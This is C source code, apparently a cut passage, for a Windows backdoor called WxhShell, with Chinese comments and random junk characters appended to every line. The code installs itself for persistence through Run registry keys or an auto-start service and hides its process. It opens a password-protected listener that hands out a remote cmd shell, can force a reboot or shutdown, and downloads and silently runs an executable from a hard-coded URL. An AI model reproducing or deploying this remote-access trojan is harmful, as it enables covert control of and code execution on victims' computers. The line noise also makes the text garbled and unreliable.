    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6_ 33*/>=c  
    if(Boot(SHUTDOWN)) BIHHRCe:@n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \]~kyy  
    else { r P<d[u  
    closesocket(wsh); 3thG*^C5  
    ExitThread(0); P^uP$D  
    } -E,{r[Sp  
    break; TV[6+i*#  
    } tXb7~aO  
  // 获取shell `gBXeG2fn  
  case 's': { a3(7{,Ew  
    CmdShell(wsh); "`V"2zZlj  
    closesocket(wsh); Occ8Hk/l.  
    ExitThread(0); Aspj*CDu  
    break; 0|wKR|zW  
  } af`f*{Co3  
  // 退出 )U/@J+{{  
  case 'x': { fjz2m   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m`1}O"<&i  
    CloseIt(wsh); r~Is,.zZ}  
    break; eaZ)1od  
    } ] _]6&PZXk  
  // 离开 -h^} jP8  
  case 'q': { MU^xu&MB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S9F]!m^i  
    closesocket(wsh); )Zu Q;p  
    WSACleanup(); #4|i@0n}D  
    exit(1); $.x?in|_  
    break; PL$(/Z  
        } !m/Dd0  
  } v2W"+QS}u  
  } 2)j#O  
^r?sgJ  
  // 提示信息 ]Pg?(lr6)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :n%sU* 'T  
} ,co9f.(w  
  } V]CK'   
T/spUlWu  
  return; D/%b@Ls2ze  
} IZ(CRKCGBl  
07G*M ]  
// shell模块句柄 >sl1 cC  
int CmdShell(SOCKET sock) =+sIX3  
{ 5k7(!  
STARTUPINFO si; +%cr?g  
ZeroMemory(&si,sizeof(si)); 8d*<Aki?;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KWuj_.;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xa%ktn  
PROCESS_INFORMATION ProcessInfo; {bq-: CZe  
char cmdline[]="cmd"; j}x O34  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e>i8=U` ;  
  return 0; {1-CfQ0 8  
} O ]4 x;`)  
:R_#'i  
// 自身启动模式 +ouy]b0`t  
int StartFromService(void) ~"4vd 3  
{ '%|20 j  
typedef struct \"sSS.'  
{ *"9)a6T t+  
  DWORD ExitStatus; eABdy e  
  DWORD PebBaseAddress;  6O|\4c;  
  DWORD AffinityMask; ur"e F  
  DWORD BasePriority; $d"f/bRWy  
  ULONG UniqueProcessId; 1 069]  
  ULONG InheritedFromUniqueProcessId; 4Xb}I;rM  
}   PROCESS_BASIC_INFORMATION; i6\!7D]  
gm%bxr@X~  
PROCNTQSIP NtQueryInformationProcess; 3lrZ-k+S{  
>|o9ggL`J5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; & b^*N5<Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B,na  
x2IU PM  
  HANDLE             hProcess; JI#Enh!Lv  
  PROCESS_BASIC_INFORMATION pbi; @W5hrei  
a^)4q\E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :tS>D5dz(  
  if(NULL == hInst ) return 0; @xM!:  
d}B_ll#j-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +>9^])K|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >*Z{@1*h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f8_UIdM7  
yp/V 8C  
  if (!NtQueryInformationProcess) return 0; JU,RO oz(  
Hn]n]wsLy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &DhA$o"'  
  if(!hProcess) return 0; s!RA_%8/>  
1AEVZ@(j7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M$hw(fC|m1  
R (Pa Q  
  CloseHandle(hProcess); ^HN  
[ BC%$Sj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ii] =C(e9  
if(hProcess==NULL) return 0; #WmAkzvq  
`m0Uj9)#  
HMODULE hMod; t>|N4o  
char procName[255]; 8&[<pbN)  
unsigned long cbNeeded; R{y{  
IqJ=\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $izpH  
H?bs K~  
  CloseHandle(hProcess); e8uIh[+ 0  
'pls]I]  
if(strstr(procName,"services")) return 1; // 以服务启动 Y\9*e5?`I3  
U:p"IY#%  
  return 0; // 注册表启动 $=QO_t)?  
} %oKc?'L0  
lNeF>zz  
// 主模块 Bst>9V&R  
int StartWxhshell(LPSTR lpCmdLine) 7a_n\]t465  
{ d"`>&8*  
  SOCKET wsl; +6Fdi*:  
BOOL val=TRUE; ' oeg [  
  int port=0; {gHscj;SM  
  struct sockaddr_in door; eeTaF!W  
~I^[rP~  
  if(wscfg.ws_autoins) Install(); X ^ ]$/rI)  
<hC3#dNRd  
port=atoi(lpCmdLine); 8PVs!?Nne  
W>s9Mp  
if(port<=0) port=wscfg.ws_port;  v2=!*  
[?6D1b[  
  WSADATA data; yzzre>F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +dpj?  
^dKaa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6e-h;ylS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '# 2J?f'  
  door.sin_family = AF_INET; 4 J2F>m40  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bc}OmPE  
  door.sin_port = htons(port); SJ_cwYwI$  
naCI55Wx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z"C(#Y56 x  
closesocket(wsl); 72.IhBNtT  
return 1; DH*|>m&  
} ew ,edU  
. pEeR  
  if(listen(wsl,2) == INVALID_SOCKET) { g;Q^_4@  
closesocket(wsl); ]p.f*]  
return 1; _q}%!#4  
} T.N7`  
  Wxhshell(wsl); 1gK3= Ys  
  WSACleanup(); L"<Eov6  
A;HKR4p;8  
return 0; h#;K9#x6  
i4C b&h^  
} _rh.z_a7w  
BCB/cBE  
// 以NT服务方式启动 <a}|G1 h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zd]L9 _  
{ ^G<M+RF2J  
DWORD   status = 0; !0+Ex F  
  DWORD   specificError = 0xfffffff; 'ZgW~G]S  
6U3@-+lF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8=AKOOU7>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HCy}'}d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )cBV; E<  
  serviceStatus.dwWin32ExitCode     = 0; qf$|z`c  
  serviceStatus.dwServiceSpecificExitCode = 0; 2n:J7PGD  
  serviceStatus.dwCheckPoint       = 0; qz SI cI  
  serviceStatus.dwWaitHint       = 0; Zpd>' ${4  
2Yjysn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \uIC<#o"N  
  if (hServiceStatusHandle==0) return; ,IB)Kk2  
I<-" J^2  
status = GetLastError(); 2 ~'quA  
  if (status!=NO_ERROR) %K,,Sl_  
{ v@SrEmg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [cs8/Q8+  
    serviceStatus.dwCheckPoint       = 0; @(?d0xCg  
    serviceStatus.dwWaitHint       = 0; <xNM@!'\h  
    serviceStatus.dwWin32ExitCode     = status; /Loe y   
    serviceStatus.dwServiceSpecificExitCode = specificError; @= 9y5r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f#MN-1[67  
    return; EmoU7iy  
  } /aEQ3x  
bx6}zkf&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tC~itU=V  
  serviceStatus.dwCheckPoint       = 0; 0R%58,R  
  serviceStatus.dwWaitHint       = 0; x"T^>Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?OdA`!wE  
} 2p[3Ap  
{<8#T`I  
// 处理NT服务事件,比如:启动、停止 = F<`-6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %/C[\w p81  
{ l0 _O<  
switch(fdwControl) ]gk1h=Y~h  
{ =Bx~'RYl1d  
case SERVICE_CONTROL_STOP: 9?6$ 2I  
  serviceStatus.dwWin32ExitCode = 0; .r"?w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9>P(eN  
  serviceStatus.dwCheckPoint   = 0; [! BH3J!  
  serviceStatus.dwWaitHint     = 0; IGQ8-#=  
  { |th )Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _xsYcw~)  
  } vBXr[XoC  
  return; H:Le^WS  
case SERVICE_CONTROL_PAUSE: ,' B=eY,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gC 4#!P  
  break; yh<aFYdk  
case SERVICE_CONTROL_CONTINUE: =,]M$M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2F{IDcJI\  
  break; .[A S  
case SERVICE_CONTROL_INTERROGATE: SQx):L)P6  
  break; Z2}b1#U?  
}; r2w7lf66!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Qy0vAvJ  
} np(<Ap r  
$ 7!GA9Bn  
// 标准应用程序主函数 \[jItg,+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v$Z1Lh  
{ cxdM!L; `  
C3gz)!3  
// 获取操作系统版本 _=#mmZkq  
OsIsNt=GetOsVer(); 58,mu#yq6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H0 t1& :  
OwUbm0)h^V  
  // 从命令行安装 EG6fC4rfC  
  if(strpbrk(lpCmdLine,"iI")) Install(); IgJC>;]u  
TXv#/@  
  // 下载执行文件 !y.7"G*  
if(wscfg.ws_downexe) { 3\ed4D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IuD<lMeJ J  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3.Kdz}  
} }X-ggO,  
qMOD TM~+  
if(!OsIsNt) { !}?]&[N=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;GSj }Nq  
HideProc(); eNb =`  
StartWxhshell(lpCmdLine); s5e}X:  
} 4G ?k31,k  
else dZ Z/(oE>  
  if(StartFromService()) O*7 pg  
  // 以服务方式启动 f0+  
  StartServiceCtrlDispatcher(DispatchTable); DK;-2K  
else g= 8e.Y*Fr  
  // 普通方式启动 |1R @Jz`  
  StartWxhshell(lpCmdLine); > { Q2S  
3&f{lsLAC  
return 0; 'z/hj>B<  
} XlPy(>  
\&0NH=*^  
>{Djx  
^gImb`<6-  
=========================================== Sb.;$Be5g  
VXp X#O  
Vv]mME@  
mDUS9>  
yFjSvm6  
r>\.b{wI  
" A[MEtI=Q J  
F2=97 =R  
#include <stdio.h> cxV3Vrx@A  
#include <string.h> gO%3~f!vY#  
#include <windows.h> ko$R%W&T  
#include <winsock2.h> =8-e1R/  
#include <winsvc.h> -L@=j  
#include <urlmon.h> T=vI'"w  
N{0 D<"  
#pragma comment (lib, "Ws2_32.lib") rcCM x"L=  
#pragma comment (lib, "urlmon.lib") lx SGvvP4  
IV76#jL  
#define MAX_USER   100 // 最大客户端连接数 #%~wuCn<K  
#define BUF_SOCK   200 // sock buffer L`6`NYR  
#define KEY_BUFF   255 // 输入 buffer 90a= 39kI  
%-D2I  
#define REBOOT     0   // 重启 -VL3em|0  
#define SHUTDOWN   1   // 关机 Jh1fM`kB5K  
#\qES7We 6  
#define DEF_PORT   5000 // 监听端口 MeC@+@C  
~7|z2L  
#define REG_LEN     16   // 注册表键长度 &LE/hA  
#define SVC_LEN     80   // NT服务名长度 wbTw\b=  
<#sK~G  
// 从dll定义API x\WKsc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NeH^g0Q2,g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GI/o!0"_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 70@:!HI]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xQ4Q'9  
SX#ATf6#  
// wxhshell配置信息 0t8-oui  
struct WSCFG { [LE_lATjU  
  int ws_port;         // 监听端口 Y&nY]VV  
  char ws_passstr[REG_LEN]; // 口令 :|bPr_&U$  
  int ws_autoins;       // 安装标记, 1=yes 0=no {>#Ya;E  
  char ws_regname[REG_LEN]; // 注册表键名 *:iFhKFU  
  char ws_svcname[REG_LEN]; // 服务名 gwyz)CUkL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {.v+ iSM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t5S S]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~_Aclm?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S[Et!gj:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d}1R<Q;F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tG'c79D\  
!U@[lBW  
}; K=V)"v5o3  
)9s[-W,e  
// default Wxhshell configuration GKX#-zsh79  
struct WSCFG wscfg={DEF_PORT, IIzdCa{l  
    "xuhuanlingzhe", n=`UhC  
    1, z,vjY$t:/  
    "Wxhshell", +]G;_/[2  
    "Wxhshell", ?(Nls.c  
            "WxhShell Service", Xh5 z8  
    "Wrsky Windows CmdShell Service", QM=X<?m/,=  
    "Please Input Your Password: ", 72aj4k]^  
  1, r!+)U#8  
  "http://www.wrsky.com/wxhshell.exe", r>V go):s  
  "Wxhshell.exe" cYK3>p A  
    }; TWMD f  
278 6tZF,  
// 消息定义模块 Zi^&x6y^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gqE{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @l 1 piz8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K:mb$YJ&  
char *msg_ws_ext="\n\rExit."; \%UA6uj  
char *msg_ws_end="\n\rQuit.";  C+_ NG  
char *msg_ws_boot="\n\rReboot..."; _("{fJ,A  
char *msg_ws_poff="\n\rShutdown..."; o`G@Je_}x  
char *msg_ws_down="\n\rSave to "; 1Ypru<.)W  
rQU;?[y  
char *msg_ws_err="\n\rErr!"; WlU5`NJl]2  
char *msg_ws_ok="\n\rOK!"; n<MH\.!tM  
Xr-eDUEi  
char ExeFile[MAX_PATH]; *+5AN306  
int nUser = 0; y 2bZo'Z  
HANDLE handles[MAX_USER]; YDP<  
int OsIsNt; D+tn<\LF  
6:Ra3!V"v  
SERVICE_STATUS       serviceStatus; {$b]K-B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e(sQgtM6  
%A04'dj`zQ  
// 函数声明 .-{B  
int Install(void); ACs?m\$Q  
int Uninstall(void); z"|^Y|`m  
int DownloadFile(char *sURL, SOCKET wsh); tJc9R2  
int Boot(int flag); 94Z~]C  
void HideProc(void); C]82Mt  
int GetOsVer(void); Jjv, )@yo  
int Wxhshell(SOCKET wsl); 9M<{@<]dm  
void TalkWithClient(void *cs); d+$a5 [^9  
int CmdShell(SOCKET sock); bX8Bn0#a+  
int StartFromService(void); !$P&`n]@  
int StartWxhshell(LPSTR lpCmdLine); Ie4}F|#=  
&{99Owqg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0GEK xV\F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /_v@YB!0  
D3$}S{Yw1  
// 数据结构和表定义 El ,p}Bi.  
SERVICE_TABLE_ENTRY DispatchTable[] = \xwE4K  
{ +c?1\{M   
{wscfg.ws_svcname, NTServiceMain}, zgV{S Qo  
{NULL, NULL} A~u-Iv(U  
}; -W2 !_  
L]cZPfI6  
// 自我安装 a8''t_Dp  
int Install(void) vk&C'&uV9@  
{ pno]B ld'z  
  char svExeFile[MAX_PATH]; jU/0a=h9  
  HKEY key; p\1-.  
  strcpy(svExeFile,ExeFile); <rNCb;  
4 QD.'+ L  
// 如果是win9x系统,修改注册表设为自启动 y]yp8Bs+  
if(!OsIsNt) { x pT85D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #)z_TM07P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pPUKx =d  
  RegCloseKey(key); zrri&QDF<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d?S7E q9`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SnRk` 5t  
  RegCloseKey(key); % [b~4,c1  
  return 0; crG+BFi  
    } "aHA6zTB  
  } se2ay_<F+  
} a!vF;J-Zqa  
else { ^h1EE=E"  
w|7<y8#qC  
// 如果是NT以上系统,安装为系统服务 L> > %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >8\EdN59{  
if (schSCManager!=0) uDbz`VpK  
{ 9v=5x[fE  
  SC_HANDLE schService = CreateService  $ac VJI?  
  (  ,SNN[a  
  schSCManager, g4^=Q'j-  
  wscfg.ws_svcname, 0 fX  
  wscfg.ws_svcdisp, Yjx*hv&?  
  SERVICE_ALL_ACCESS, kO>F, M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .IXkdy  
  SERVICE_AUTO_START, ,onOwPz  
  SERVICE_ERROR_NORMAL, fL>>hBCqC  
  svExeFile, fO|oV0Rw  
  NULL, )5Mf,  
  NULL, $# klgiL  
  NULL, e@|/, W   
  NULL,  !*5vXN  
  NULL 3=SIIMp7=  
  ); hE@s~ ~JYd  
  if (schService!=0) $)8b)Tb  
  { ;H}XW=vO  
  CloseServiceHandle(schService); ,'N8Ivt  
  CloseServiceHandle(schSCManager); (pJ-_w' G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )%FRBO]  
  strcat(svExeFile,wscfg.ws_svcname); ~\<aj(m(|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7#wdBB%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kqdF)Wa am  
  RegCloseKey(key); kwF4I )6  
  return 0; ;n0VF77>O  
    } h2<Y*j  
  } @ W[LA<  
  CloseServiceHandle(schSCManager); H=,0p  
} sTv;Ogs.  
} %iMRJ}8(7  
jzt$  
return 1; pu3ly&T#a_  
} :!Ea.v  
5'*v-l,[  
// 自我卸载 d)d\h`=Z  
int Uninstall(void) {kVhht]X  
{ S&N[@G  
  HKEY key; \-i5b  
6_1v~#  
if(!OsIsNt) { |:Q`9;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :.u[^_   
  RegDeleteValue(key,wscfg.ws_regname); tgz  
  RegCloseKey(key); )4u6{-|A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AT$eTZ]M  
  RegDeleteValue(key,wscfg.ws_regname); pH!e<m  
  RegCloseKey(key); MOp06  
  return 0; walQo^<  
  } z86[_l:  
} R{N9'2l:  
} _ljdo`j#N  
else { `q":i>FP2  
C5k\RS9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1VRe xp  
if (schSCManager!=0) vOMmsU F  
{ Bg3`w__l;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,j^z];  
  if (schService!=0) CI%4!K;{  
  { uv>T8(w  
  if(DeleteService(schService)!=0) { Vm+e%  
  CloseServiceHandle(schService); p{c+ +P5  
  CloseServiceHandle(schSCManager); +eT1/x0  
  return 0; V) Oj6nD]  
  } OZ,%T9vP  
  CloseServiceHandle(schService); { [Sd[P  
  } tw{V7r~n  
  CloseServiceHandle(schSCManager); WJ D1U?`  
} \r4QS  
} {tqLH2cO  
9'tOF  
return 1; =gG_ %]``R  
} ;G 27S<Q  
3JnBKh\n  
// 从指定url下载文件 Ro1b (+H  
int DownloadFile(char *sURL, SOCKET wsh) dG {D2~#  
{ t>]wWYy  
  HRESULT hr; F^knlv'  
char seps[]= "/"; kWkAfzf4a  
char *token; 0qND2_  
char *file; k#*tf:R  
char myURL[MAX_PATH]; q].n1w [  
char myFILE[MAX_PATH]; &tKr ?l  
~D[5AXV`^  
strcpy(myURL,sURL); ? dD<KCbP,  
  token=strtok(myURL,seps); 5yC$G{yV  
  while(token!=NULL) HZ>8@AVa\  
  { (+_i^SqK  
    file=token; ah1DuTT/G  
  token=strtok(NULL,seps); 8+gti*C?\  
  } %x Xib9J  
ze5Hg'f  
GetCurrentDirectory(MAX_PATH,myFILE); ?uiQ'}   
strcat(myFILE, "\\"); e<Pbsj  
strcat(myFILE, file); 1a|Z!Vzi  
  send(wsh,myFILE,strlen(myFILE),0); Hjho!np  
send(wsh,"...",3,0); y}TiN!M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {i}z|'!  
  if(hr==S_OK) R[ 'k&jyi  
return 0; JYQ.Y!X1O  
else y:\ ^[y IQ  
return 1; zQ[g*  
)qi/>GR,  
} !%pY)69gv  
+s(JutC  
// 系统电源模块 4s{_(gy  
int Boot(int flag) HC'k81Q  
{ DBUhqRfl  
  HANDLE hToken; <M//zXa  
  TOKEN_PRIVILEGES tkp; EqY e.dF,  
+}MV$X  
  if(OsIsNt) { auzrM4<tz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }PdHR00^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +W=  
    tkp.PrivilegeCount = 1; q '6gj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $M `%A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iGCA>5UE  
if(flag==REBOOT) { A(!nT=0o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "Zu hN(-`  
  return 0; {|{}]B  
} y(I_ 6+B^  
else { ;THb6Jz/+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M!KHBr  
  return 0; 8UA bTqB-  
} hN~]$"@2  
  } 8(GH.)I+0  
  else { Mo4#UV  
if(flag==REBOOT) { <ZF,3~v?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m~upTQz  
  return 0; 8|\0\Wd;vu  
} ct,Iu+HJ  
else { m5m'ByX(*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) caK<;bmu-  
  return 0; @O~  
} ;H%&Jht  
} m -{t%[Y  
s`:>"1\|  
return 1; j\,HquTR  
} _;8aiZt|u  
ah82S)a`}  
// win9x进程隐藏模块 =N _7DT  
void HideProc(void) $6&P 69<  
{ @@!Mt~\  
h"mG\xi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 41pk )8~pt  
  if ( hKernel != NULL ) l~f>ve|  
  { BE&P/~(C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u!&w"t61Nd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /zB;1%m-  
    FreeLibrary(hKernel); ||{V*"+\  
  } 5kX#qT=  
Pc= S^}+  
return; 1x\Vz\  
} M 5mCG  
.GJl@==~1  
// 获取操作系统版本 R"j6 w[tn  
int GetOsVer(void) y:FxX8S$'e  
{ ER z@o_  
  OSVERSIONINFO winfo; w"-'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AnB]f~Yjl  
  GetVersionEx(&winfo); Qv3g 4iJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R.(cGZS  
  return 1; 8 *Fr=+KN  
  else @,b:s+]rp  
  return 0; bzz{ p1e  
} ^8_`IT  
Fx^e%":@ip  
// 客户端句柄模块 uO4kCK<7C  
int Wxhshell(SOCKET wsl) auV'`PR  
{ Kp_L\'.I5$  
  SOCKET wsh; aJnZco6  
  struct sockaddr_in client; =cy;{2S'p  
  DWORD myID; (thDv rT@2  
'rT@r:6fn  
  while(nUser<MAX_USER) =Mg/m'QI  
{ S6.N)7y  
  int nSize=sizeof(client); 1|_8+)i;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dv7/eRt  
  if(wsh==INVALID_SOCKET) return 1; f8>S<:  
uYh6q1@"~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gk%8iT  
if(handles[nUser]==0) 8,E#vQ55}(  
  closesocket(wsh); |]qwD,eiH,  
else ,zCrix 3  
  nUser++; u )'l|Y  
  } P #_8$#G3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); njz:7]>e  
Tk9/1C{8  
  return 0; M4;A4V=W  
} z0@)@4z!  
In-W,   
// 关闭 socket V;b^b5yZ>  
void CloseIt(SOCKET wsh) N9W\>hKaeh  
{ ELx?ph-9  
closesocket(wsh); m?Gb5=qo  
nUser--; !&~8j7{  
ExitThread(0); ?V6+o`bm  
} QlbhQkn  
DYvi1X6  
// 客户端请求句柄 (#w8/@JxF  
void TalkWithClient(void *cs) J- %YmUc)  
{ GJ>vL  
.x$!Rc}  
  SOCKET wsh=(SOCKET)cs; X%+FM]  
  char pwd[SVC_LEN]; $,vZX u|Qw  
  char cmd[KEY_BUFF]; {H$F!}a  
char chr[1]; $ Cr? }'a  
int i,j; )~hsd+ 0t  
!Ua74C  
  while (nUser < MAX_USER) { Y(>]7  
{.W$<y (j7  
if(wscfg.ws_passstr) { e`1,jt'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %cM2;a=2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X@,xwsM%tb  
  //ZeroMemory(pwd,KEY_BUFF); Sb&sW?M  
      i=0; xg'FC/1LD  
  while(i<SVC_LEN) { T=8> 0D^v5  
b";w\H  
  // 设置超时 RI#C r+/  
  fd_set FdRead; 4|+6a6  
  struct timeval TimeOut; D`r^2(WW  
  FD_ZERO(&FdRead); l}>gG[q!  
  FD_SET(wsh,&FdRead); /2,s-^  
  TimeOut.tv_sec=8; sje}E+{[  
  TimeOut.tv_usec=0;  E%g_O_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LK8K=AA3P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3r=IO#  
cmQLkT"#K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JwzA'[tM  
  pwd=chr[0]; w%,Iy, G@  
  if(chr[0]==0xd || chr[0]==0xa) { 05 ".;(  
  pwd=0; (7nWv43  
  break; 7y",%WYSD  
  } Qtmsk:qm  
  i++; ~%Y*2i f  
    } K5x&:z  
#]G$o?@Y=^  
  // 如果是非法用户,关闭 socket 8-cB0F=j_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a#X[V5|6Q  
} 2?LZW14$d  
ArBgg[i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~+VIELU<%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cad%:%p  
NpRT\cx3  
while(1) { /*Z ,i&eC  
xbex6i"ZE  
  ZeroMemory(cmd,KEY_BUFF); )j6VROt  
DUg  
      // 自动支持客户端 telnet标准   ffGiNXCM  
  j=0; }U$Yiv  
  while(j<KEY_BUFF) {  A_: Bz:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YQ>M&lnQ<  
  cmd[j]=chr[0]; E<>Ev_5>  
  if(chr[0]==0xa || chr[0]==0xd) { 6:i(<7  
  cmd[j]=0; #UH|,>W6  
  break; Q!Rknj 2  
  } v&}mbt-  
  j++; 9N>Dp N  
    } Y_&D W4  
[`P+{ R  
  // 下载文件 (o_wv  
  if(strstr(cmd,"http://")) { wVCZ=\L}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lwgk}!KR  
  if(DownloadFile(cmd,wsh)) sygAEL;.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `B;^:u  
  else H"4^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `.+_}.m  
  } <`EZ^S L;  
